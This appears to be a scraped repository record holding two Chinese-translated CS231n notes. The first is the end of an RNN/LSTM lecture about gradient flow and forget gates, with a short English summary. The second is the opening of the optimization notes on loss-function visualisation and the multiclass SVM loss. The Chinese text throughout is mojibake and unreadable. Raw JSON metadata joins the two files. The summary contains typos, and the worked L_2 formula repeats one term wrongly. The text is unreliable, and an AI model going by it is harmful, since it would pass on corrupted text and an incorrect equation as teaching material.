ไธบ้—ๅฟ˜้—จๆ˜ฏไธ€ไธช sigmoid ๅ‡ฝๆ•ฐ๏ผŒๆ‰€ไปฅ็Ÿฉ้˜ตๅ…ƒ็ด ็›ธไน˜็š„็ป“ๆžœไผšไฟ่ฏๅœจ 0 ๅ’Œ 1 ไน‹้—ด๏ผŒ่ฟ™ไนŸไผšไฝฟๆ•ฐๅ€ผๆ€ง่ดจๆ›ดๅฅฝใ€‚ๅฆ‚ๆžœไฝ ๆƒณ่ฑกไธ€ไธ‹่ฟ™ไบ›็Ÿฉ้˜ตๅ…ƒ็ด ไธ€้ๅˆไธ€้ๅœฐ็›ธไน˜ๅฐฑไผšๆ˜Ž็™ฝใ€‚\n\nๅฆไธ€ไธช่ฆๆณจๆ„็š„ๆ˜ฏๅœจๅŽŸๅง‹ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœ็Žฏๅขƒไธญ๏ผŒๆˆ‘ไปฌ็œ‹ๅˆฐๅœจๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญ๏ผŒๅœจๆฏไธ€ไธชๆขฏๅบฆไผ ๆ’ญ็š„ๆ—ถ้—ดๆญฅ้•ฟไธญ้ƒฝไผš็ป่ฟ‡ไธ€ไธช tanh ๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚ไฝ†ๆ˜ฏ็Žฐๅœจๅœจไธ€ไธช LSTM ไธญ๏ผŒไฝฟ็”จ้š่—็Šถๆ€ๆฅ่ฎก็ฎ—่พ“ๅ‡บ $y_t$๏ผŒๅ› ๆญคไปŽๆœ€ๅŽ็š„้š่—็Šถๆ€ๅ•ๅ…ƒๅๅ‘ไผ ๆ’ญๅˆฐ็ฌฌไธ€ไธชๅ•ๅ…ƒ็Šถๆ€๏ผŒๅœจๅๅ‘ไผ ๆ’ญ็š„่ทฏๅพ„ไธŠ๏ผŒๆˆ‘ไปฌๅช้€š่ฟ‡ไธ€ไธชๅ•ไธ€็š„้ž็บฟๆ€ง tanh ๅ‘ๅŽไผ ๆ’ญ๏ผŒ่€Œไธๆ˜ฏๅœจๆฏไธ€ไธชๆ—ถ้—ดๆญฅ้•ฟไธญๅ•็‹ฌ่ฎพ็ฝฎ tanh ๅ‡ฝๆ•ฐใ€‚\n\n![image-20180903170343489](assets/image-20180903170343489.png)\n\nๆขฏๅบฆ้ซ˜้€Ÿๅ…ฌ่ทฏ๏ผๆขฏๅบฆ็›ธๅฏน็•…้€šๆ— ้˜ปๅœฐ\n\n- Q๏ผšๅ…ณไบŽ W ็š„ๆขฏๅบฆๅ’‹ๆ•ดๅ‘ข๏ผŸ\n - W ็š„ๆขฏๅบฆๅ…ถไผ ๆ’ญๆ–นๅผๆ˜ฏ๏ผšๅœจๆฏไธ€ไธชๆ—ถ้—ดๆญฅ้•ฟไธญ่Žทๅพ—ๅฝ“ๅ‰็š„ๅ•ๅ…ƒ็Šถๆ€ไปฅๅŠๅฝ“ๅ‰็š„้š่—็Šถๆ€๏ผŒ่ฟ™ไผš็ป™ๆˆ‘ไปฌๅœจ่ฟ™ไธชๆ—ถ้—ด็‚น็š„ W ็š„ๅฑ€้ƒจๆขฏๅบฆใ€‚ๆ‰€ไปฅ็”ฑไบŽๆˆ‘ไปฌ็š„ๅ•ๅ…ƒ็Šถๆ€๏ผˆ่ฟ™้‡Œไป…ๆŒ‡ๅœจ vanilla ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœไพ‹ๅญไธญ๏ผ‰๏ผŒๆˆ‘ไปฌไผšๅฐ†่ฟ™ไบ›็ฌฌไธ€ไธชๆ—ถ้—ดไธ้•ฟ W ็š„ๆขฏๅบฆ็›ธๅŠ ๏ผŒไปŽ่€Œ่ฎก็ฎ—ๅ‡บ W ็š„ๆœ€็ปˆๆขฏๅบฆใ€‚ไฝ†ๆ˜ฏ็Žฐๅœจๆœ‰ไธ€ไธชๅพˆ้•ฟ็š„ๅบๅˆ—๏ผŒๆˆ‘ไปฌไป…ไป…ๅพ—ๅˆฐๅบๅˆ—ๆœซๅฐพ็š„ๆขฏๅบฆ๏ผŒ็„ถๅŽ่ฟ›่กŒๅๅ‘ไผ ๆ’ญ๏ผŒๆˆ‘ไปฌไผšๅพ—ๅˆฐๆฏไธ€ไธชๆ—ถ้—ดๆญฅ้•ฟ W ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผŒ่€Œ่ฟ™ไธช W ไธŠ็š„ๅฑ€้ƒจๆขฏๅบฆๅฐ†ไผš็ป่ฟ‡ c ๅ’Œ h ็š„ๆขฏๅบฆใ€‚็”ฑไบŽๅœจ LSTM ็š„ไพ‹ๅญไธญ๏ผŒๆˆ‘ไปฌๅพˆๅฅฝๅœฐไฟๅญ˜ไบ† c ็š„ๆขฏๅบฆ๏ผŒๆ‰€ไปฅๅœจๆฏไธ€ไธชๆ—ถ้—ดๆญฅ้•ฟ็š„ W ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผŒไนŸไผš้š็€ๆ—ถ้—ด็š„ๆŽจ็งปๆ›ดๅŠ ๅนณ็จณๅœฐๅ‘ๅ‰ๅ’Œๅ‘ๅŽไผ ๆ’ญใ€‚\n- Q๏ผš็”ฑไบŽไนŸๆ˜ฏ้ž็บฟๆ€ง็š„๏ผŒ่ฟ™ๆ˜ฏๅฆไนŸไผšๅฝฑๅ“ๆขฏๅบฆๆถˆๅคฑ็š„้—ฎ้ข˜๏ผŸ\n - ็กฎๅฎžๆ˜ฏ่ฟ™ๆ ทใ€‚ไบ‹ๅฎžไธŠ๏ผŒไฝ ไปฌๅฏ่ƒฝไผšๆƒณ่ฟ™ไบ›้—ๅฟ˜้—จไนŸ่ฎธๆ€ปๆ˜ฏๅฐไบŽ 0๏ผŒๆˆ–่€…ๆ€ปๆ˜ฏๅฐไบŽ1๏ผŒๅฝ“ๆŒ็ปญ็š„่ฎฉๆขฏๅบฆ้€š่ฟ‡่ฟ™ไบ›้—ๅฟ˜้—จ็š„ๆ—ถๅ€™๏ผŒไนŸ่ฎธไผšๅ‡บ็Žฐๆขฏๅบฆๆถˆๅคฑ็Žฐ่ฑกใ€‚ไบบไปฌๅœจ่ฎญ็ปƒไธญไฝฟ็”จ็š„ไธ€็งๆ–นๆณ•ๆ˜ฏไป–ไปฌๆœ‰ๆ—ถๅ€™ไผšๅˆๅง‹ๅŒ–้—ๅฟ˜้—จ็š„ๅ็ฝฎๅ‚ๆ•ฐ๏ผŒไฝฟๅ…ถๆˆไธบ่พพๅˆฐๆŸ็ง็จ‹ๅบฆ็š„ๆญฃๆ•ฐ๏ผŒไปฅไพฟๅœจ่ฎญ็ปƒๅผ€ๅง‹็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไบ›้—ๅฟ˜้—จๆ€ปๆ˜ฏ้žๅธธๆŽฅ่ฟ‘ไบŽ1๏ผŒ่‡ณๅฐ‘ๅœจ่ฎญ็ปƒๅผ€ๅง‹็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅนถๆฒกๆœ‰่ฟ™ๆ ท๏ผŒ็”ฑไบŽๆขฏๅบฆ้ƒฝ่ขซๅˆๅง‹ๅŒ–ไธบๆŽฅ่ฟ‘ไบŽ1๏ผŒๆ‰€ไปฅ็ป่ฟ‡่ฟ™ไบ›้—ๅฟ˜้—จ็š„ๆขฏๅบฆ็›ธๅฏน็ฎ€ๆดใ€‚ๅœจๆ•ดไธช่ฎญ็ปƒ็š„่ฟ‡็จ‹ไธญ๏ผŒ่ฟ™ไธชๆจกๅž‹ไผšๅญฆไน ่ฟ™ไบ›ๅ็ฝฎๅ‚ๆ•ฐ๏ผŒ่ฟ˜ไผš็จๅพฎๅญฆไน ไธ€ไธ‹ๅœจๅ“ชไธชๅœฐๆ–นๅฎƒ้œ€่ฆๅฟ˜่ฎฐใ€‚ๅœจ่ฟ™้‡Œ๏ผŒ็กฎๅฎžไป็„ถๅญ˜ๅœจๅ‡บ็Žฐๆขฏๅบฆๆถˆๅคฑ็š„ๅฏ่ƒฝๆ€ง๏ผŒไฝ†ๆ˜ฏ็›ธๆฏ”ไบŽ vanilla ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœ๏ผŒ่ฟ™ไธชๅฏ่ƒฝๆ€ง่ฆๅฐๅพ—ๅคšใ€‚ ่ฟ™้ƒฝๆ˜ฏๅ› ไธบๅ‡ฝๆ•ฐ f ๅœจๆฏไธชๆ—ถ้—ดๆญฅ้•ฟไธญ้ƒฝไผšๅ˜ๅŒ–๏ผŒๅนถไธ”ๆˆ‘ไปฌ่ฟ›่กŒ็š„ๆ˜ฏ็Ÿฉ้˜ตๅ…ƒ็ด ็›ธไน˜๏ผŒ่€Œไธๆ˜ฏ็Ÿฉ้˜ต็›ธไน˜ใ€‚\n\n\n\n\n\n## Other RNN Variants\n\n![image-20180903172307359](assets/image-20180903172307359.png)\n\n\n\n## Summary\n\n- RNNs allow a lot of flexibility in architecture design\n\n- Vanilla RNNs are simple but don't work very well\n\n- Common to use LSRM or GRU: their additive interactives impove pradient flow\n\n- Backward flow of gradients in RNN can explode or vanish\n\n Exploding is controlled with gradient clipping. \n\n Vanishing is controlled with additive interactions (LSTM)\n\n- Better/simpler architectures are a hot topic of current research\n\n- Better understanding (both theoretical and empirical) is needed.\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_10.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6961061954498291, "alphanum_fraction": 0.7506340742111206, "avg_line_length": 34.749332427978516, "blob_id": "0033ce3b4a13db2ccc0f5173697b7e6a87693b90", "content_id": "681313ff1f900c25d197b9116f85d72647cc13f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 26106, "license_type": "no_license", "max_line_length": 421, "num_lines": 375, "path": "/blog/cs231n/CS231n_optimization_note.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Optimization Note\ndate: 2018-08-20\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผšๆœ€ไผ˜ๅŒ–\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/21360434?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n>\n> ๏ผˆไธชไบบๅกซๅ……็š„ๅ†…ๅฎนๅŒ…ๆ‹ฌ๏ผšไธ‹ๅˆ’็บฟใ€ๆณจๆ˜Žโ€œ่‡ชๆณจโ€๏ผ‰\n\n> **่ฏ‘่€…ๆณจ๏ผš**ๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Optimization Note](http://cs231n.github.io/optimization-1)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)ๅ’Œ[ๆŽ่‰บ้ข–](https://www.zhihu.com/people/li-yi-ying-73)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ็ฎ€ไป‹\n\n- ๆŸๅคฑๅ‡ฝๆ•ฐๅฏ่ง†ๅŒ–\n\n- ๆœ€ไผ˜ๅŒ–\n\n - ็ญ–็•ฅ#1๏ผš้šๆœบๆœ็ดข\n - ็ญ–็•ฅ#2๏ผš้šๆœบๅฑ€้ƒจๆœ็ดข\n - ็ญ–็•ฅ#3๏ผš่ทŸ้šๆขฏๅบฆ\n\n- ๆขฏๅบฆ่ฎก็ฎ—\n\n - ไฝฟ็”จๆœ‰้™ๅทฎๅ€ผ่ฟ›่กŒๆ•ฐๅ€ผ่ฎก็ฎ—\n - ๅพฎๅˆ†่ฎก็ฎ—ๆขฏๅบฆ\n\n- ๆขฏๅบฆไธ‹้™\n\n- ๅฐ็ป“\n\n## ็ฎ€ไป‹\n\nๅœจไธŠไธ€่Š‚ไธญ๏ผŒๆˆ‘ไปฌไป‹็ปไบ†ๅ›พๅƒๅˆ†็ฑปไปปๅŠกไธญ็š„ไธคไธชๅ…ณ้”ฎ้ƒจๅˆ†๏ผš\n\n1. ๅŸบไบŽๅ‚ๆ•ฐ็š„**่ฏ„ๅˆ†ๅ‡ฝๆ•ฐใ€‚**่ฏฅๅ‡ฝๆ•ฐๅฐ†ๅŽŸๅง‹ๅ›พๅƒๅƒ็ด ๆ˜ ๅฐ„ไธบๅˆ†็ฑป่ฏ„ๅˆ†ๅ€ผ๏ผˆไพ‹ๅฆ‚๏ผšไธ€ไธช็บฟๆ€งๅ‡ฝๆ•ฐ๏ผ‰ใ€‚\n2. **ๆŸๅคฑๅ‡ฝๆ•ฐ**ใ€‚่ฏฅๅ‡ฝๆ•ฐ่ƒฝๅคŸๆ นๆฎๅˆ†็ฑป่ฏ„ๅˆ†ๅ’Œ่ฎญ็ปƒ้›†ๅ›พๅƒๆ•ฐๆฎๅฎž้™…ๅˆ†็ฑป็š„ไธ€่‡ดๆ€ง๏ผŒ่กก้‡ๆŸไธชๅ…ทไฝ“ๅ‚ๆ•ฐ้›†็š„่ดจ้‡ๅฅฝๅใ€‚ๆŸๅคฑๅ‡ฝๆ•ฐๆœ‰ๅคš็ง็‰ˆๆœฌๅ’ŒไธๅŒ็š„ๅฎž็Žฐๆ–นๅผ๏ผˆไพ‹ๅฆ‚๏ผšSoftmaxๆˆ–SVM๏ผ‰ใ€‚\n\nไธŠ่Š‚ไธญ๏ผŒ็บฟๆ€งๅ‡ฝๆ•ฐ็š„ๅฝขๅผๆ˜ฏ$f(x_i, W)=Wx_i$๏ผŒ่€ŒSVMๅฎž็Žฐ็š„ๅ…ฌๅผๆ˜ฏ๏ผš\n$$\nL=\\frac{1}{N}\\sum_i\\sum_{j\\neq y_i}[\\max(0,f(x_i;W)_j-f(x_i;W)_{y_i}+1)+\\alpha R(W)]\n$$\nๅฏนไบŽๅ›พๅƒๆ•ฐๆฎ$x_i$๏ผŒๅฆ‚ๆžœๅŸบไบŽๅ‚ๆ•ฐ้›†$W$ๅšๅ‡บ็š„ๅˆ†็ฑป้ข„ๆต‹ไธŽ็œŸๅฎžๆƒ…ๅ†ตๆฏ”่พƒไธ€่‡ด๏ผŒ้‚ฃไนˆ่ฎก็ฎ—ๅ‡บๆฅ็š„ๆŸๅคฑๅ€ผ$L$ๅฐฑๅพˆไฝŽใ€‚็Žฐๅœจไป‹็ป็ฌฌไธ‰ไธช๏ผŒไนŸๆ˜ฏๆœ€ๅŽไธ€ไธชๅ…ณ้”ฎ้ƒจๅˆ†๏ผš**ๆœ€ไผ˜ๅŒ–Optimization**ใ€‚ๆœ€ไผ˜ๅŒ–ๆ˜ฏๅฏปๆ‰พ่ƒฝไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๆœ€ๅฐๅŒ–็š„ๅ‚ๆ•ฐ$W$็š„่ฟ‡็จ‹ใ€‚\n\n**้“บๅžซ**๏ผšไธ€ๆ—ฆ็†่งฃไบ†่ฟ™ไธ‰ไธช้ƒจๅˆ†ๆ˜ฏๅฆ‚ไฝ•็›ธไบ’่ฟไฝœ็š„๏ผŒๆˆ‘ไปฌๅฐ†ไผšๅ›žๅˆฐ็ฌฌไธ€ไธช้ƒจๅˆ†๏ผˆๅŸบไบŽๅ‚ๆ•ฐ็š„ๅ‡ฝๆ•ฐๆ˜ ๅฐ„๏ผ‰๏ผŒ็„ถๅŽๅฐ†ๅ…ถๆ‹“ๅฑ•ไธบไธ€ไธช่ฟœๆฏ”็บฟๆ€งๅ‡ฝๆ•ฐๅคๆ‚็š„ๅ‡ฝๆ•ฐ๏ผš้ฆ–ๅ…ˆๆ˜ฏ็ฅž็ป็ฝ‘็ปœ๏ผŒ็„ถๅŽๆ˜ฏๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚่€ŒๆŸๅคฑๅ‡ฝๆ•ฐๅ’Œๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹่ฟ™ไธคไธช้ƒจๅˆ†ๅฐ†ไผšไฟๆŒ็›ธๅฏน็จณๅฎšใ€‚\n\n## ๆŸๅคฑๅ‡ฝๆ•ฐๅฏ่ง†ๅŒ–\n\nๆœฌ่ฏพไธญ่ฎจ่ฎบ็š„ๆŸๅคฑๅ‡ฝๆ•ฐไธ€่ˆฌ้ƒฝๆ˜ฏๅฎšไน‰ๅœจ้ซ˜็ปดๅบฆ็š„็ฉบ้—ดไธญ๏ผˆๆฏ”ๅฆ‚๏ผŒๅœจCIFAR-10ไธญไธ€ไธช็บฟๆ€งๅˆ†็ฑปๅ™จ็š„ๆƒ้‡็Ÿฉ้˜ตๅคงๅฐๆ˜ฏ[10x3073]๏ผŒๅฐฑๆœ‰30730ไธชๅ‚ๆ•ฐ๏ผ‰๏ผŒ่ฟ™ๆ ท่ฆๅฐ†ๅ…ถๅฏ่ง†ๅŒ–ๅฐฑๅพˆๅ›ฐ้šพใ€‚็„ถ่€ŒๅŠžๆณ•่ฟ˜ๆ˜ฏๆœ‰็š„๏ผŒๅœจ1ไธช็ปดๅบฆๆˆ–่€…2ไธช็ปดๅบฆ็š„ๆ–นๅ‘ไธŠๅฏน้ซ˜็ปด็ฉบ้—ด่ฟ›่กŒๅˆ‡็‰‡๏ผŒๅฐฑ่ƒฝๅพ—ๅˆฐไธ€ไบ›็›ด่ง‚ๆ„Ÿๅ—ใ€‚ไพ‹ๅฆ‚๏ผŒ้šๆœบ็”Ÿๆˆไธ€ไธชๆƒ้‡็Ÿฉ้˜ต![W](http://www.zhihu.com/equation?tex=W)๏ผŒ่ฏฅ็Ÿฉ้˜ตๅฐฑไธŽ้ซ˜็ปด็ฉบ้—ดไธญ็š„ไธ€ไธช็‚นๅฏนๅบ”ใ€‚็„ถๅŽๆฒฟ็€ๆŸไธช็ปดๅบฆๆ–นๅ‘ๅ‰่ฟ›็š„ๅŒๆ—ถ่ฎฐๅฝ•ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ็š„ๅ˜ๅŒ–ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅฐฑๆ˜ฏ็”Ÿๆˆไธ€ไธช้šๆœบ็š„ๆ–นๅ‘$W_1$ๅนถไธ”ๆฒฟ็€ๆญคๆ–นๅ‘่ฎก็ฎ—ๆŸๅคฑๅ€ผ๏ผŒ่ฎก็ฎ—ๆ–นๆณ•ๆ˜ฏๆ นๆฎไธๅŒ็š„$a$ๅ€ผๆฅ่ฎก็ฎ—$L(W+aW_1)$ใ€‚่ฟ™ไธช่ฟ‡็จ‹ๅฐ†็”Ÿๆˆไธ€ไธชๅ›พ่กจ๏ผŒๅ…ถx่ฝดๆ˜ฏ$a$ๅ€ผ๏ผŒy่ฝดๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผใ€‚ๅŒๆ ท็š„ๆ–นๆณ•่ฟ˜ๅฏไปฅ็”จๅœจไธคไธช็ปดๅบฆไธŠ๏ผŒ้€š่ฟ‡ๆ”นๅ˜$a,b$ๆฅ่ฎก็ฎ—ๆŸๅคฑๅ€ผ$L(W+aW_1+bW_2)$๏ผŒไปŽ่€Œ็ป™ๅ‡บไบŒ็ปด็š„ๅ›พๅƒใ€‚ๅœจๅ›พๅƒไธญ๏ผŒ$a,b$ๅฏไปฅๅˆ†ๅˆซ็”จxๅ’Œy่ฝด่กจ็คบ๏ผŒ่€ŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผๅฏไปฅ็”จ้ขœ่‰ฒๅ˜ๅŒ–่กจ็คบ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e08a8485aa.png)\n\nไธ€ไธชๆ— ๆญฃๅˆ™ๅŒ–็š„ๅคš็ฑปSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ›พ็คบใ€‚ๅทฆ่พนๅ’Œไธญ้—ดๅชๆœ‰ไธ€ไธชๆ ทๆœฌๆ•ฐๆฎ๏ผŒๅณ่พนๆ˜ฏCIFAR-10ไธญ็š„100ไธชๆ•ฐๆฎใ€‚**ๅทฆ**๏ผšaๅ€ผๅ˜ๅŒ–ๅœจๆŸไธช็ปดๅบฆๆ–นๅ‘ไธŠๅฏนๅบ”็š„็š„ๆŸๅคฑๅ€ผๅ˜ๅŒ–ใ€‚**ไธญๅ’Œๅณ**๏ผšไธคไธช็ปดๅบฆๆ–นๅ‘ไธŠ็š„ๆŸๅคฑๅ€ผๅˆ‡็‰‡ๅ›พ๏ผŒ่“่‰ฒ้ƒจๅˆ†ๆ˜ฏไฝŽๆŸๅคฑๅ€ผๅŒบๅŸŸ๏ผŒ็บข่‰ฒ้ƒจๅˆ†ๆ˜ฏ้ซ˜ๆŸๅคฑๅ€ผๅŒบๅŸŸใ€‚ๆณจๆ„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅˆ†ๆฎต็บฟๆ€ง็ป“ๆž„ใ€‚ๅคšไธชๆ ทๆœฌ็š„ๆŸๅคฑๅ€ผๆ˜ฏๆ€ปไฝ“็š„ๅนณๅ‡ๅ€ผ๏ผŒๆ‰€ไปฅๅณ่พน็š„็ข—็Šถ็ป“ๆž„ๆ˜ฏๅพˆๅคš็š„ๅˆ†ๆฎต็บฟๆ€ง็ป“ๆž„็š„ๅนณๅ‡๏ผˆๆฏ”ๅฆ‚ไธญ้—ด่ฟ™ไธชๅฐฑๆ˜ฏๅ…ถไธญไน‹ไธ€๏ผ‰ใ€‚\n\n---\n\nๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡ๆ•ฐๅญฆๅ…ฌๅผๆฅ่งฃ้‡ŠๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅˆ†ๆฎต็บฟๆ€ง็ป“ๆž„ใ€‚ๅฏนไบŽไธ€ไธชๅ•็‹ฌ็š„ๆ•ฐๆฎ๏ผŒๆœ‰ๆŸๅคฑๅ‡ฝๆ•ฐ็š„่ฎก็ฎ—ๅ…ฌๅผๅฆ‚ไธ‹๏ผš\n$$\nL_i=\\sum_{j\\neq y_i}[\\max(0,w^T_jx_i-w^T_{y_i}x_i+1)]\n$$\n้€š่ฟ‡ๅ…ฌๅผๅฏ่ง๏ผŒๆฏไธชๆ ทๆœฌ็š„ๆ•ฐๆฎๆŸๅคฑๅ€ผๆ˜ฏไปฅ$W$ไธบๅ‚ๆ•ฐ็š„็บฟๆ€งๅ‡ฝๆ•ฐ็š„ๆ€ปๅ’Œ๏ผˆ้›ถ้˜ˆๅ€ผๆฅๆบไบŽ$\\max(0,-)$ๅ‡ฝๆ•ฐ๏ผ‰ใ€‚$W$็š„ๆฏไธ€่กŒ๏ผˆๅณ$w_j$๏ผ‰๏ผŒๆœ‰ๆ—ถๅ€™ๅฎƒๅ‰้ขๆ˜ฏไธ€ไธชๆญฃๅท๏ผˆๆฏ”ๅฆ‚ๅฝ“ๅฎƒๅฏนๅบ”้”™่ฏฏๅˆ†็ฑป็š„ๆ—ถๅ€™๏ผ‰๏ผŒๆœ‰ๆ—ถๅ€™ๅฎƒๅ‰้ขๆ˜ฏไธ€ไธช่ดŸๅท๏ผˆๆฏ”ๅฆ‚ๅฝ“ๅฎƒๆ˜ฏๆญฃ็กฎๅˆ†็ฑป็š„ๆ—ถๅ€™๏ผ‰ใ€‚ไธบ่ฟ›ไธ€ๆญฅ้˜ๆ˜Ž๏ผŒๅ‡่ฎพๆœ‰ไธ€ไธช็ฎ€ๅ•็š„ๆ•ฐๆฎ้›†๏ผŒๅ…ถไธญๅŒ…ๅซๆœ‰3ไธชๅชๆœ‰1ไธช็ปดๅบฆ็š„็‚น๏ผŒๆ•ฐๆฎ้›†ๆ•ฐๆฎ็‚นๆœ‰3ไธช็ฑปๅˆซใ€‚้‚ฃไนˆๅฎŒๆ•ด็š„ๆ— ๆญฃๅˆ™ๅŒ–SVM็š„ๆŸๅคฑๅ€ผ่ฎก็ฎ—ๅฆ‚ไธ‹๏ผš\n$$\nL_0=\\max(0,w^T_1x_0-w^T_0x_0+1)+\\max(0,w^T_2x_0-w^T_0x_0+1)\\\\\nL_1=\\max(0,w^T_1x_1-w^T_1x_1+1)+\\max(0,w^T_2x_1-w^T_1x_1+1)\\\\\nL_2=\\max(0,w^T_1x_2-w^T_2x_2+1)+\\max(0,w^T_1x_2-w^T_2x_2+1)\\\\\nL=(L_0+L_1+L_2)/3\n$$\nๅ› ไธบ่ฟ™ไบ›ไพ‹ๅญ้ƒฝๆ˜ฏไธ€็ปด็š„๏ผŒๆ‰€ไปฅๆ•ฐๆฎ$x_i$ๅ’Œๆƒ้‡$w_j$้ƒฝๆ˜ฏๆ•ฐๅญ—ใ€‚่ง‚ๅฏŸ$w_0$๏ผŒๅฏไปฅ็œ‹ๅˆฐไธŠ้ข็š„ๅผๅญไธญไธ€ไบ›้กนๆ˜ฏ$w_0$็š„็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒไธ”ๆฏไธ€้กน้ƒฝไผšไธŽ0ๆฏ”่พƒ๏ผŒๅ–ไธค่€…็š„ๆœ€ๅคงๅ€ผใ€‚ๅฏไฝœๅ›พๅฆ‚ไธ‹๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e08ba929da.png)\n\nไปŽไธ€ไธช็ปดๅบฆๆ–นๅ‘ไธŠๅฏนๆ•ฐๆฎๆŸๅคฑๅ€ผ็š„ๅฑ•็คบใ€‚x่ฝดๆ–นๅ‘ๅฐฑๆ˜ฏไธ€ไธชๆƒ้‡๏ผŒy่ฝดๅฐฑๆ˜ฏๆŸๅคฑๅ€ผใ€‚ๆ•ฐๆฎๆŸๅคฑๆ˜ฏๅคšไธช้ƒจๅˆ†็ป„ๅˆ่€Œๆˆใ€‚ๅ…ถไธญๆฏไธช้ƒจๅˆ†่ฆไนˆๆ˜ฏๆŸไธชๆƒ้‡็š„็‹ฌ็ซ‹้ƒจๅˆ†๏ผŒ่ฆไนˆๆ˜ฏ่ฏฅๆƒ้‡็š„็บฟๆ€งๅ‡ฝๆ•ฐไธŽ0้˜ˆๅ€ผ็š„ๆฏ”่พƒใ€‚ๅฎŒๆ•ด็š„SVMๆ•ฐๆฎๆŸๅคฑๅฐฑๆ˜ฏ่ฟ™ไธชๅฝข็Šถ็š„30730็ปด็‰ˆๆœฌใ€‚\n\n---\n\n\n\n้œ€่ฆๅคš่ฏดไธ€ๅฅ็š„ๆ˜ฏ๏ผŒไฝ ๅฏ่ƒฝๆ นๆฎSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ข—็Šถๅค–่ง‚็Œœๅ‡บๅฎƒๆ˜ฏไธ€ไธช[ๅ‡ธๅ‡ฝๆ•ฐ](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Convex_function)ใ€‚ๅ…ณไบŽๅฆ‚ไฝ•้ซ˜ๆ•ˆๅœฐๆœ€ๅฐๅŒ–ๅ‡ธๅ‡ฝๆ•ฐ็š„่ฎบๆ–‡ๆœ‰ๅพˆๅคš๏ผŒไฝ ไนŸๅฏไปฅๅญฆไน 